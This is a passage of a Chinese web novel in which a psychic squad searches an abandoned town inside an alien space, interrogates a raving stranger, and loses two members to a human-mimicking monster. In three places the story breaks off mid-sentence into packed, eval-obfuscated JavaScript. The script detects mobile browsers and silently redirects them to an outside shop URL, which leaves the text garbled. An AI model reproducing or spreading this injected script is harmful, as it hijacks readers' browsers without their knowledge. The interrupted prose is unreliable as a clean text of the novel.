姜蝉和靳锬还没醒,徐归尘靠在墙边小憩,蓝予澄正在检查设备。 他打了个哈欠,一转头,看见景叙阳靠在夜聆枢肩上,大张的嘴瞬间卡住了。 他带着一脸惊异看向蓝予澄,对方回了他一个疑问的表情。 欧冶又看了夜聆枢一眼,她正闭着眼,一只胳膊被景叙阳抱在怀里。 欧冶费了老大劲儿才控制住自己的面部肌肉。幸好夜聆枢正闭目养神,没看到他丰富的表情。 他凑到蓝予澄跟前,悄声问:“这是怎么回事?” 蓝予澄摇了摇头,他没比欧冶早醒多少。 “队长和景哥和好了?” 蓝予澄又摇了摇头。 夜聆枢睁眼往身旁一看,景叙阳还赖在她身上。考虑到他身上有伤,她没有一把给他推开。 她搓了把脸,看到姜蝉一脸姨母笑对着她。 我靠。 靳锬也坐起来,低头擦拭灵能枪。 她晃了晃景叙阳:“醒醒,准备出发了。” 景叙阳在她肩上蹭了蹭,慢腾腾地坐起来,抱着她胳膊的手依然不松。 夜聆枢面无表情地把胳膊抽出来。 “今天勘察县城,重点注意是否有人类生活痕迹,是否有核心区相关线索。” 小队检查好装备,走出庇护所,重新深入这座寂静的小城。 城中所有地方都落满了灰尘,仿佛被人遗忘了一个世纪。 夜聆枢感到奇怪,那些怪物明明栖息在城中,却找不到它们的巢穴,仿佛它们在此之前从未有过任何活动,是他们的到来让它们活泛起来。 经历空间扭曲之后,整个环境都给她一种怪异的感觉。 “永寂”深处,到底藏着什么秘密? 怕错过线索,他们走得不快。尽管如此,景叙阳还是有些吃不消。 为了进入异空间,他几乎耗尽了所有灵能,和小队汇合后一直赶路,又经历了两场战斗,体力和灵能始终没恢复。现在带着伤,走一步抻一下,更是难熬。 姜蝉见他脸色不好,说道:“队长,我们走了一个多小时了,休息一下吧。” 夜聆枢停住脚步,正纳闷姜蝉怎么会突然要求休息,看到嘴唇发白的景叙阳。 “原地休整。” 景叙阳喝了两口水,身上的疲惫感稍微减退了一些,伤口的存在感却越发明显。 他眯了下眼,抬起手往后肩摸去。 一股大力将他的手截在半空中。夜聆枢皱着眉攥着他的手腕:“别摸。” 他手上卸了力,对她倾诉道:“痒,又疼又痒。” 像无数只蚂蚁在啃咬。 夜聆枢眼中滑过一丝心疼,口气软下来:“我知道,但是摸了会影响愈合,忍忍就过去了。” 这样的伤对她来说不值一提,但她不希望景叙阳亲身经历。 他握住夜聆枢的手,声音有些虚浮:“好。” 夜聆枢突然意识到他身体状态很差,用手背贴了下他的额头。 万幸,没发烧。 在她的印象里,景叙阳身体很好,从来没生过病。他现在强打精神、脸色发青的样子着实有些吓到夜聆枢。 按理说景叙阳不应该跟着他们继续前进,但把他留在原地随时可能出现意外。 “再坚持一下,好吗?”她握紧景叙阳的手。 他没说话,点了点头。 他们在城里又走了半个小时,依旧一无所获。他们商议后决定,先返回庇护所,再向相反方向出发。 一回到庇护所,姜蝉就指挥夜聆枢:“扶他躺下,我看看伤口。” 姜蝉解开纱布,看到伤口红肿,拿过药箱麻利地准备药剂。 “还是发炎了,”她拿出针筒,“你按住他,我打针。” “我高估他的身体素质了,真是比常规灵师差一大截。” 姜蝉一边上药一边说:“伤得不算很重,但是他恢复能力不强,这三五天不能剧烈运动。” “可我们不能一直在这里等他痊愈。”夜聆枢说。 姜蝉叹了口气:“那只能照顾下伤员,走慢点了,又不能把他扔下,对吧。” “欧冶,你和姜蝉留下。其他人,稍作休息,跟我继续搜查。” 他们休整了十分钟再次出发,留下姜蝉和欧冶在庇护所看着景叙阳。 “队长怎么不带我?”欧冶擦着炮筒问姜蝉。 “你昨天消耗很大,应该多休息,”姜蝉说,“这里也要留一个灵能强的人以防万一,安排你最合适。” 欧冶点了点头。 景叙阳撑着身子想坐起来,姜蝉赶紧叫住他:“你别动,好好躺着。” 她指挥欧冶:“把他背包里的毯子和备用衣物拿来。” 欧冶扒拉了半天,只找出一条毯子。 姜蝉让他抖开给景叙阳盖上,自己去夜聆枢包里拿出她的备用外衣。 不好意思了,拿你衣服给你前夫凑和一下。 “这是夜聆枢的衣服,你先披上。” 景叙阳的衣服被鸟爪撕烂,又沾了血,姜蝉怀疑伤口感染和衣物脱不了干系。 “谢谢。”景叙阳脑袋昏沉,披上衣服往地上一倒。 夜聆枢带着三人走在城市的另一边,和早上的情况一样,一片寂静,布满尘土。 “注意观测灵能数据。”她提醒蓝予澄。 走过一条街道时,靳锬注意到一处不同:“队长,这里似乎是个诊所。” 夜聆枢闻言看过去,门口的字样被尘土掩盖,但门上有个依稀能见的红十字。 要不是靳锬眼尖,他们就走过了。 门没锁,只是虚掩着。 “这里面空间不小呢。”徐归尘观察四周,走廊两边都是房间,有诊室有病房。 夜聆枢往垃圾桶里看了一眼,一个玻璃瓶子躺在里面,还有几块胶布。 说明有人来过这里,尽管十分久远。 “队长,”靳锬站在病房门口,“你来看看这个。” 夜聆枢看到病房里的景象愣了片刻。病房的地面上有燃烧的痕迹,还有残余的焦炭,显然是有人生火。 “去药房看看。” 药房的锁不知所踪,药架上的瓶瓶罐罐散乱不堪,消炎药那一排却空无一物。 “纱布和绷带都没了。”徐归尘在药房里查看了一圈。 “看来早就有人来过,在这里过夜,又拿走了可用的医药。” 夜聆枢看着药架上的标签:“这里有诊所,有学校,有县政府,是个真正的县城,但被废弃了很久,后来又有人来过……” 她突然有一个猜测:“难道异空间里曾有人居住?” 不无道理,但令人难以置信。 “你是说,异空间原住民?”靳锬觉得太颠覆认知。 “永寂”之外的所有异空间都已经完成清剿,哪有人类活动这一说? “生火、拿药,这些或许是外来闯入者所为,但是这里有药,或许有人曾在此生活。” 夜聆枢说完又觉得不是完全合乎逻辑:“只是猜测,也可能是个巧合。” 她随手拉开药房的抽屉,看到里面的东西愣了一下。 他们看到夜聆枢从抽屉里拎出来个本子,围了上去。 “药品登记?”靳锬一眼看见本皮上的字。 夜聆枢拍掉表面的灰,翻了翻里面的内容。 上面手写登记着每一次取药,大多是些感冒发烧的日常用药,没什么特别的。 日期里只写月日,看不出是什么年代的东西。她翻到最后,看到一页说明,里面写着登记本一年一换。 落款年份是三十多年前。 夜聆枢拿给徐归尘:“这个年份你熟悉吗?” 徐归尘看了一眼:“熟悉,那是破解计划启动的时间。” “这一年前后有什么事情发生吗?” 徐归尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669449|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了想:“我是破界计划开始的第二年加入的,那时正在进行第一批异空间清剿。” 夜聆枢点了点头,心里有了些猜测。 诊所里没找到更多有用的线索,他们到其他地方继续搜查。 欧冶站在门口伸长脖子眺望:“天都快黑了,他们怎么还不回来?” 他看向正在翻小册子的姜蝉:“蝉姐,你说他们会不会遇到危险了?” “放心,有事他们会求救,肯定过一会儿就回来了。” 话音刚落,欧冶看到四个人影:“真的回来了!” 他们前脚跨入庇护所的门,后脚黑夜就笼罩了整个小城。 “怎么样,有发现吗?”姜蝉问道。 夜聆枢喝了两口水:“有,但是很颠覆三观。” “说来听听。” “我们在一个诊所里发现有人来过的痕迹,并且怀疑这里曾有人生活。” 姜蝉沉吟片刻:“怎么判断的?” “诊所里有生活的痕迹,还有取药记录,”靳锬把那本取药记录本递给姜蝉,“上面的日期是三十二年前。” 姜蝉接过来翻了翻:“这能说明什么?” “说明这里三十二年前有人生活过,”夜聆枢说,“这个县城里曾经有人,后来被废弃了。” 姜蝉皱起眉:“可这是异空间啊。” 夜聆枢点了下头:“问题就在这,根据目前情况来看,“永寂”和其他异空间有很多不同。” 她来到景叙阳身边,俯下身子。 “他怎么样?”夜聆枢问姜蝉。 “打了消炎针之后伤口没再恶化,我给他用的恢复药里有一点镇痛的成分,睡一觉就好了。” “好。” “你知不知道之前干了什么,”姜蝉又说,“他明显是灵能消耗过度,迟迟没有恢复。” 夜聆枢没说话,欧冶回答道:“景哥之前在村子里打了很多鸟。” “难怪,不过应该不至于吧……”姜蝉寻思普通灵能枪损耗不会这么大。 谁知道呢,可能景叙阳就是柔弱吧。 夜聆枢发现自己的背包挪了个地方,打开一看少了东西。 她立马问姜蝉:“你动我包了?” “正要跟你说,景叙阳的衣服上全是血,就从你包里拿了件衣服给他。” 夜聆枢对着姜蝉的表情变得复杂:“他没衣服从他包里取,拿我衣服干嘛?” 姜蝉脸上一半无计可施一半幸灾乐祸:“他的没找到,只能拿你的了。” 夜聆枢:…… “今晚谁守夜?”靳锬问起正事。 “我来吧,”欧冶主动请缨,“我歇了大半天,现在特别精神。” “我也一起。”姜蝉说。 其他人纷纷歇下。姜蝉看夜聆枢拿过景叙阳那两件衣服,对着火光穿针。 “咱们夜队也是做上针线活了。”姜蝉凑到她跟前打趣道。 “一边去,你挡着我光了。”夜聆枢冷冷道。 姜蝉看她熟练地缝补,突然问了一句:“你俩打算什么时候复合?” “回头再说吧。” 夜聆枢面无表情地缝好衣服,提起来。血迹已经干透,衣服上一大片红褐色。 等到有流水的地方再洗吧。 她把衣服盖在景叙阳身上,听到他突然加重的鼻息,借着火光查看他的脸色。 修长的手从毯子下伸出来,握住她的手指。 夜聆枢觉得手上一凉,看到景叙阳半睁着眼睛。 “我听到你说话了。”他虚虚地用气音说。 她把他的手放回毯子里,给他盖好:“睡吧,好好休息。” 夜聆枢听着他的呼吸声逐渐平静,放心下来。一回头,看到姜蝉挂着微笑看着她。后面还有欧冶一脸“磕到了”的表情。 她冷下脸,给了两人一记眼刀,回到自己的位置,假装什么也没发生过。 有这么一群八卦队友,以后咋办啊。 12. 惊了 景叙阳再次醒来时,火堆已经熄灭,周围只剩下姜蝉一人。 “他们人呢?” “夜聆枢带人去城外勘探环境,欧冶在外面巡逻。” 姜蝉在他身边蹲下:“我看看你的伤。” 伤口不再红肿,让姜蝉松了口气。她换了药,重新包上绷带。 “今天再休息一下,明天可能就要出发了。” 天黑前一个多小时,夜聆枢才带人回来。 “城外是荒地,再往外就是山,”夜聆枢在地图上比划,“在山上看到周围有村落,都没有灵能波动,大概都荒废了。” 蓝予澄拿出灵能热点图:“热点还是在这个位置,我们今天朝橘色的区域走了很远,环境的灵能信号有加强,但是没有能量体。” “之前进过的异空间都是这样,核心区的环境信号会很强,我们想进核心区,就得往这个方向走。”夜聆枢说。 她转向姜蝉:“明天可以出发吗?”又看向景叙阳。 这是在问姜蝉景叙阳的情况。 景叙阳点了点头。 “可以,路上注意休息。”姜蝉说。 景叙阳听他们在那边商定下一步计划,渐渐的眼皮越来越沉,说话声变得越来越远。 意识还没有完全消失,他感觉到毛毯被人轻轻拉开,微凉的指尖从脖颈滑过。他迷迷糊糊睁开眼,见夜聆枢的脸就在眼前。 手被握住,夜聆枢以为自己弄醒了他:“我看看你的伤。” 景叙阳把她的手拉到唇边,碰了一下她的指节。 和求婚时的动作如出一辙。 手指登时一僵,她甚至忘记自己下一步的动作,任由景叙阳攥着她的手。 离婚前他们冷战过一段时间,别说亲密接触,人都不在一张床上睡。 当时吵得很凶,夜聆枢记得自己说了很多重话,景叙阳也难得一见地生气。 那时候她就觉得他们肯定是走到头了。 景叙阳把她的手贴在脸上,暧昧地蹭了蹭。 隔着作战手套,夜聆枢能感受到皮肤透过的暖意,从手背那块皮肤顺着血流传到身体各处。 她突然生出一个想法,要是在家就好了。 这个念头一冒出来就被她立马赶出去,在任务中想家可不是什么好事。 夜聆枢用另一只手隔着毛毯拍了拍他:“趴下,我看看你的伤。” 景叙阳配合地解开扣子,乖乖趴好。 夜聆枢见伤口有结痂的痕迹,放心下来,把绷带缠好。 她正要替他拉上毛毯,景叙阳按住她的手:“回去就不冷战了,搬回主卧和我睡吧。” 夜聆枢没想到他会突然提起这事,把手抽回来:“到时候再说吧。” 黑夜褪去,浮玉县再次进入白天。 他们收好所有装备,向监测到的能量热点区出发。 为了照顾景叙阳,他们走得慢了些,天黑前才翻过之前勘察过的山头。 他们挑了一处溪流旁的空地落脚。 蓝予澄将手浸入溪水:“水是干净的,成分没有问题。” 众人纷纷拿水壶打水。姜蝉见夜聆枢拿着一件沾血的衣服,闷声蹲在下游搓洗。 再一回头,看见景叙阳一手一个水壶蹲在上游打水,外套上还有细密的针脚。 姜蝉绷住脸,仰起头。 欧冶疑惑道:“蝉姐,你看什么呢?” “啊?”姜蝉差点憋不住笑,“没什么,我今天不用吃干粮了。” 欧冶:??? 徐归尘见蓝予澄盘腿坐在溪边,双手放在水里,问靳炎:“这孩子有水系能力?” 一路上的饮用水都是蓝予澄在提供,徐归尘没见到任何装置,现在看到他坐在水边,更加确信。 除了灵能特殊,没理由让这么个少年加入先锋小队。 “对,现在进入异空间的小队必须配备一个水系灵师。” 徐归尘心说原来如此,又看向蓝予澄的背影:“他看上去年纪不大。” 靳炎点了点头:“十九岁,灵锋部队最年轻的灵师。” 徐归尘震惊:“这也太小了!” 被选入异空间清剿计划的灵师,要么经验丰富,要么天赋异禀,但至少要有几年战斗经验。他见过最年轻的也就是像欧冶这样,二十五六岁。 “小澄是灵院特招的,就是为了送进灵锋部队才培养他。”姜蝉接过话头。 “他十六岁编入灵锋部队,刚开始成绩一般,过了一年多被夜队选入小队,完成了几次重大任务,现在已经到少尉了。” 徐归尘开始意识到,这支小队里的每个人都不简单。他们的平均年纪不到三十岁,却有着远超部队平均水平的能力,就连一个寡言少语的少年都有这样的能力。 他感慨了一句:“后生可畏。” “那时候夜队还是副队长,队里缺水系灵师,我和她去挑人,她一眼就看中小澄。”靳炎回忆道。 “我看他年纪小,劝夜队换个人。她说她看人不会错,这个小孩一定会很出色。” 欧冶挠了挠头:“炎哥,你不是说那次回去被黄队骂了?” 靳炎苦笑一下:“是啊,队长说我俩不会办事,找了个麻杆一样的小孩。但是领回来就没法退回去了,就带着他进异空间了。” 景叙阳听得津津有味:“然后呢?” “我们第一次带小澄进异空间,他差点被守卫削掉胳膊。最后人没事,身上的仪器坏了。队长回来把夜队骂了,说她挑的人差点坏事,夜队跟他吵了一架。” 景叙阳能想来夜聆枢跟上级吵架的样子,肯定比在家跟他吵架还凶。 “吵完之后呢?”景叙阳追问道。 “黄队当时气得想把夜队开了,但是上级不让。再进异空间的时候他受了伤,夜队还帮他挡了一击,不然都不知道能不能活着回来。” “回来之后他就休息了,夜队替他带了两个月队伍。等他回来,夜队升任队长,把我和小澄从队里挖走,黄队也没说什么。” “这是什么时候的事?”景叙阳突然问。 靳炎想了想:“两年半前。” 景叙阳记得那个时候夜聆枢受了一次伤,伤口从右肩一直蔓延到左侧腰,贯穿胸腹。 他当时吓得要死,问她怎么回事。她只说意外受伤,家常便饭,别的再没有解释。 应该就是这一次吧。 “所以从那以后,她就自己带队了?” 靳炎点了下头。 “队里只有你们几个人?” “小队人很多,常规成员有九个。这次是先遣任务,所以人少。”靳炎解释道。 景叙阳安静了一会儿,又问道:“她在队里有没有关系比较好的人?” 靳炎看了姜蝉一眼。 “我啊。”姜蝉很自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669450|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然地应下。 “男人呢?” 姜蝉、靳炎:??? “你……想问什么?”靳炎有些尴尬。 “你们队里,或者灵锋部队里,有没有和她关系走得很近的,男性。”景叙阳组织了一下语言。 姜蝉和靳炎交换了一下眼色。 这是来查岗了啊。 “好像,没听说过。”姜蝉说。 “那她有没有说过部队里有谁长得好看?” 靳炎欲言又止,默默转过头去。 大哥,这是灵锋部队,你当还在学院啊,搞这套。 真不敢相信夜聆枢嫁了个这。 姜蝉突然诡异一笑:“还真有,你想听听吗?” 景叙阳竖起耳朵:“愿闻其详。” 姜蝉还没出声,被一阵咳嗽声打断。 他们一回头,夜聆枢抄着手站在旁边。 她背对着火光,脸上一片阴暗。 “哈?你来了,”姜蝉往远离她的地方挪了挪,“正给你爱人讲你的光辉事迹呢,要不你自己说?” 夜聆枢刚刚就听见关于自己的字眼,在火堆旁支架子烤衣服的时候听了个七七八八。 “我谢谢你们,”她没好气地说,“老底给我抖完了。” 景叙阳歪着头看她。火光映在夜聆枢脸上,忽明忽暗地跳动着,和家里稳定柔和的灯光比起,显得她更加真实。 他悄悄伸出手,暗暗向她的手伸去。 一阵脚步乱响,蓝予澄一个猛子扎过来,神色慌张。 “我看见一个影子在对面!” 所有人唰的一下站起来,往小溪对面看去。 零星的几棵树立在黑漆漆的夜里,除了哗啦啦的水流声,再没有一点动静。 夜聆枢盯着对面的景物,低声问道:“什么影子?” 蓝予澄不停地环顾周围:“像个人。” 他们听了,更加警惕起来。靳炎端起枪,灵能顺着输入器载入枪身。 夜聆枢略闭了下眼,放出谛频,周围的灵能频率瞬间出现在脑中。 “靳炎,”她低声说,“十一点钟方向,五十米。” 话音刚落,枪口白光一闪,对面传来一声痛呼,随后是噗通一声。 手电筒的强光瞬间集中过去,一个灰衣人暴露在他们的视野里。 徐归尘抽了一口气,急忙上前查看。 夜聆枢看了倒在地上的人一眼,问靳炎:“不会死了吧?” “不会,应该是晕了。” 他们把人翻过来一看,不是灵锋部队的成员,也不是破界计划的成员。 夜聆枢问徐归尘:“认识吗?” 他摇了摇头。 看来不是和他失散的副队长。 难道真是原住民? “绑起来,弄醒问问。” 欧冶把人绑在树上:“怎么弄醒。” “泼水。”姜蝉简洁地回答。 欧冶舀了一桶水,实实在在泼上去,噗嚓一下水花四溅。 几人下意识后退了一步。 “唉,这小子真是个实心眼。”靳炎没眼看。 姜蝉苦笑道:“又不是第一次了,你还没习惯吗?” “人醒了!”欧冶叫了一嗓子,“真的有用!” 夜聆枢压下心里的无语,正色道:“问问看吧,说不定异空间的秘密就要解开了。” 13. 逃了 “你们是什么东西!”灰衣人一睁眼就叫唤,“滚啊!滚远点!呜呜呜呜……” 靳炎把破布塞紧了:“不能好好说话就闭嘴。” 灰衣人被塞住嘴还不老实,瞪着眼睛蹬着腿,唔唔啊啊一个劲儿。 夜聆枢居高临下看着他:“能好好说就松开你,不能好好说就别说。” 这人死死盯着她,胸口一起一伏。 夜聆枢挥了下手:“不用管了,让他自己在这儿待着。” 眼见他们扭头就走,灰衣又呜呜啊啊地乱叫,拼命扑腾。欧冶回头看了一眼,对夜聆枢说:“队长,他好像有话说。” 夜聆枢瞥了一眼:“等他老实了再说。” 靳炎往火堆里添了块木头,听见不远处传来的挣扎声,看向一同守夜的徐归尘。 “徐大哥,你觉得这人什么身份?” 徐归尘放下水壶:“不像是外面进来的人,说不定真是原住民。” 他转而问靳炎:“现在的异空间研究能支持这个说法吗?” 靳炎摇摇头:“我们第一次见到这种情况,“永寂”真的太特殊了。” 天刚亮,夜聆枢就睁眼,第一件事去看灰衣人的情况。 人还好好绑在那里。她问靳炎:“昨晚有什么情况吗?” “前半夜他还挣扎,后半夜没声了。” 徐归尘也起身,拿棍子把灰衣人戳醒。他见到三人站在眼前,嗓子里又嗯嗯啊啊的叫个不停。 “问你几个问题,”夜聆枢面无表情,“能回答就放开你的嘴,不能回答就继续堵着。” 灰衣人认命般安静了一刻,唔了一声。 “第一个问题,你是什么人。第二个问题,为什么出现在这里。” “听清了?” 灰衣人没好气地嗯了一声,靳炎扯出他嘴里的东西。 “呸呸呸……” 靳炎的枪口抵住他的头:“回答问题。” 他抖了下身子,咽了口唾沫:“我……我叫王得福,从这里路过,真的是路过!” “你从什么地方来的?”夜聆枢怀疑浮玉县的痕迹和他有关。 “幽……幽都,我从,从幽都来的……”他像是舌头打了结,没有一句话是不磕巴的。 夜聆枢皱起眉。幽都听着可不像阳间的地名,谁知道这货是不是胡说。 靳炎用枪口碰了他一下:“为什么离开幽都?” 王得福瞬间瞪大眼睛:“幽都……幽都全都是怪物……不跑就是等死!” 靳炎压下眉头:“你在幽都待过多久?” 他突然躁动起来,扭动着身体面目狰狞:“谁想去那个鬼地方!都是那些疯子害我!全都是疯子!” 徐归尘舀起小半桶水,“哗啦”泼上去,躁狂的人立马哑火。 他接着问道:“你在这里还见过其他人吗?” “人?这里根本没有人,全都……全都是怪物!没有人!都是怪物!” “安静!”靳炎的枪口重重一敲,“异空间里有人生活?” 他像是被敲蒙,愣了两秒:“不……这里没有人,只有那边有人,全都是疯子……” “都疯了,疯子才会把我扔在这里……” “谁把你扔在这里?” 他眼神空洞:“暴政……这是暴政……” “塞上吧,”夜聆枢说,“他已经开始说胡话了。” 靳炎把他的嘴堵上的前一刻,他又大喊了一句:“万无幽是伪神!他是个呜呜呜呜……” “听上去,这里不仅有人,人还不少。”徐归尘说。 “人群聚集的地方可能就是我们要找的核心区,”夜聆枢说,“这个地方或许和幽都关系很大,看来幽都,不得不去了。” “一大早吵什么呢。”姜蝉过来看了一眼王得福,又看了一眼三人。 “问了几句话,得到一些消息,”夜聆枢说,“收拾一下,我们该出发了。” “做个交易,”夜聆枢蹲下身子对王得福说,“你带我们去幽都,保你一命。” 一听到“幽都”两个字,他疯狂地摇起头。 “这附近有很多妖兽,你到哪都是一死,”夜聆枢的口气不容质疑,“带路,留你一命。” 他根本听不进去一个字,双腿拼命踢腾,奋力扭动身体,竟把一条胳膊从绳子里拽了出来。 靳炎的枪管立刻对准他的胸口。 王得福一把扯下嘴里的东西:“谁知道你们安的什么心,我宁可死在这里也不会回幽都!你这个女的是不是脑子进水了,你哪来的权力指挥老子?” 他话音刚落,头上就挨了一记重击,呼痛都来不及,一时间眼冒金星,脑袋无力地垂下。 景叙阳把手里的棍子往地上一扔,嘴角微扬,轻轻吐出一句:“嘴巴不干净就闭上。” 靳炎用枪口捅了他两下,见人没反应,确定是晕了。 他心说景叙阳看着文弱,下手倒是挺狠。 夜聆枢无语地看了景叙阳一眼:“你把人打晕了谁带路?” 景叙阳冲她一笑:“放心,我有办法。” 他拿出一沓便签撕下一页,用那支特制的钢笔在上面写了几笔,然后从王得福头上扯下一撮头发,放在纸上点燃。 众人围上来,见头发的灰烬在纸上写出了几行符文,纸却毫发无损。 燃烧殆尽后,他又撕下一页便签叠在上面,笔在新的便签上描画出一个图案。 这波操作把小队其他人看的一脸疑惑。 姜蝉碰了夜聆枢一下:“你家这位,平时在家里也做法吗?” 夜聆枢对他这套办法半信半疑:“没见过。” “给我一个罗盘。”景叙阳说。 欧冶立马掏出自己的罗盘给他。景叙阳将便签贴在罗盘背面,原本坚定指北的指针突然迷失方向,原地转了两圈之后,缓缓停在一个方向上。 “就是这个方向。”景叙阳把罗盘给他们看。 “你怎么知道指的是幽都?”夜聆枢觉得这玩意太没说服力了。 “如果这个人说的是真的,幽都有很多怪物,那它一定是个灵能充裕的地方。他去过幽都,身上会留下那里的灵能气息,就能追踪到幽都。” 景叙阳看着夜聆枢,眼里含着若有若无的光芒。 众人看向夜聆枢。 徐归尘见夜聆枢没有立刻下定论,心想她大概会偏心景叙阳。 但是为了不确定的技术盲目冒险是大忌。 “不可靠,”夜聆枢开口道,“把这人弄醒,拖也得把他拖到幽都去。” 他们一回头,那个地方已经没了人影,只剩地上的一堆绳子。 “我去?什么时候跑了?”欧冶大为震撼,他们刚刚什么动静都没听见。 夜聆枢检查了地面的痕迹:“肯定没跑远,分头找。” 这个人的作用极大,绝不能轻易放过。 他们两人一组分散前往各个方向。夜聆枢带着景叙阳和蓝予澄往小溪上游寻找,一边搜寻踪迹一边展开谛频。 昨晚还能感知到的灵能频率,此时却消失了。 夜聆枢正疑惑,突然感知到一个陌生的频率,出现在姜蝉和欧冶附近。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669451|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“姜蝉、欧冶,注意身边,有能量体出现。”夜聆枢通过通讯器说道。 “队长,这个能量体的灵能很特殊。”蓝予澄看到显示出的数据不像灵师。 “集合!”夜聆枢发令道,急急往回跑。 她刚看到昨晚露营的地方,就听到欧冶和姜蝉的方向传来一声炮响,登时心头一紧。 “欧冶,汇报情况。” “遭遇能量体攻击。”通讯器那头传来答复。 他们向两人的方向跑去,到了地方,看见欧冶正从地上扶起姜蝉。 “队长,能量体在树林里。”他紧紧盯着眼前的林子。 “能量体消失了。”蓝予澄看着仪器说道。 夜聆枢暂时松下一口气,去看姜蝉的情况。 “姜蝉,姜蝉,你怎么样?” 她咳了两声,摆了摆手:“没事,就是摔了一跤。” “刚刚怎么回事?” “蝉姐看到那个人就追了上去,我刚想汇报就听见她啊了一声,然后看到一个人影从树后面窜出来,我打了一通人就不见了。” 夜聆枢扶起姜蝉:“有没有受伤?” 姜蝉摇了摇头:“没事。” 他们回到露营地取装备。姜蝉看了看几人,拿起背包。 欧冶见她转头就走:“哎?蝉姐,你的药箱!” 他叫了好几声,姜蝉才迟迟转过身来,接过他递来的药箱。 欧冶觉得反常,姜蝉向来把她的药箱看得很紧,不可能遗忘。 “你没事吧,蝉姐?” 她摇了摇头,转过身去背对着欧冶。 欧冶挠了挠头,听见夜聆枢正在和靳炎讨论如何去幽都。 来之不易的线索,因为王得福的消失,又断了。 欧冶看了看景叙阳手里攥着的罗盘,说道:“现在人跑了,要想去幽都,我们是不是只能靠景哥的符文了?” 景叙阳看着夜聆枢,眨了两下眼睛。 夜聆枢不太情愿,但无计可施:“死马当活马医吧。” 于是景叙阳如愿以偿用上了自己的罗盘,和夜聆枢一起走在前面带路。 她时不时看罗盘一眼,心里还想着王得福逃跑的事情。 太蹊跷了,他们怎么可能一点没有察觉? 那个突然出现的能量体,又是个什么东西? 姜蝉的手突然搭上欧冶的肩膀。 “嗯?”欧冶以为她有什么事,正要开口问,肩膀上一股大力就要把他拉倒。 他下意识抡起胳膊打掉姜蝉的手臂,却见她伸手一捞,擒住前面蓝予澄的手臂。还没等蓝予澄反应过来,姜蝉一闪身消失在突然出现的裂缝中,一把将蓝予澄也扯了进去。 靳炎刚抬起枪,两人和裂缝一起消失,枪口对准的是前面的景叙阳。 欧冶已经傻在原地,靳炎还算淡定:“队长!出事了!” 夜聆枢回头一看,少了两个人! “蝉姐和小澄不见了!”欧冶一脸慌张。 “他们被一道裂缝拉走了!” “难道是空间扭曲?”徐归尘看向夜聆枢。 夜聆枢脸色凝重,嘴唇绷成一条僵硬的直线。 景叙阳知道这只是表象,她内心肯定一片兵荒马乱。 “是姜蝉动的手,”靳炎补充道,“她不对劲。” 欧冶突然想起出发前姜蝉的异常:“难道,难道那个不是蝉姐?” 王得福惊慌的神色和胡言乱语突然出现在夜聆枢脑中。她双眼忽得睁大,一个想法在心中乍现。 或许真的有怪物能模仿人类。 14. 到了 “你是说,这里存在能模仿人类的怪物?”徐归尘不可置信。 “在露营地,我感应到一个陌生的灵能频率,那时王得福的频率已经消失了。”夜聆枢说。 “我怀疑那个时候姜蝉看到的就不是真正的人,我们赶到时见到的姜蝉也不是真的姜蝉。” 夜聆枢只觉得自己大意了,应该在找到姜蝉后再探测一次。 如果发现姜蝉的频率消失,就能坐实她的想法,也不用连累蓝予澄。 “那蝉姐去哪儿了?我们找人的时候一直在一起啊。” 靳炎想了想:“姜蝉有没有离开过你的视线?” “蝉姐走在我前面,一直离我十米左右。她先发现人影,追到一个土堆后面。我刚想赶上去就听见她的声音,然后就看到有东西窜出来了。” 欧冶挠了挠头:“我追着那个影子打倒了好多树,看周围没动静了才去看蝉姐的情况,紧接着你们就来了。” 靳炎又问了他一些细节,徐归尘也加入进来。夜聆枢闭上眼,灵能加持谛频展开,见几人的灵能频率都正常,松了口气。 起码身边都是真人。 她把谛频尽力推到最远的地方,企图找到姜蝉和蓝予澄的踪迹。但是哪怕推到十公里,依然没有任何结果。 方圆十公里内,只有他们五个能量体,其余都是死物和植物。 十公里是夜聆枢的极限,她没法再感知更遥远的频率。 她收回灵能,睁开眼。景叙阳的脸凑过来,眼神中有些紧张。 夜聆枢知道他担心自己,拍了拍他的手臂示意他放心。 “队长,姜蝉可能是在我们汇合之前就被替换了,带走小澄的是假的。”靳锬对她说。 夜聆枢点了下头:“方圆十公里没有他们的踪迹,也没有未知能量体。” 短暂的沉默后,夜聆枢说:“在姜蝉和小澄失踪前,王得福也失踪了,或许是同样的原因。” “我记得你说,之前王得福的频率消失了。”徐归尘说。 “是,所以我认为,王得福被未知能量体带走,然后姜蝉被带走,未知能量体模仿姜蝉混入队伍后伺机带走小澄。”夜聆枢说。 徐归尘仔细理了理其中的因果:“很有可能,但为什么会这样?” 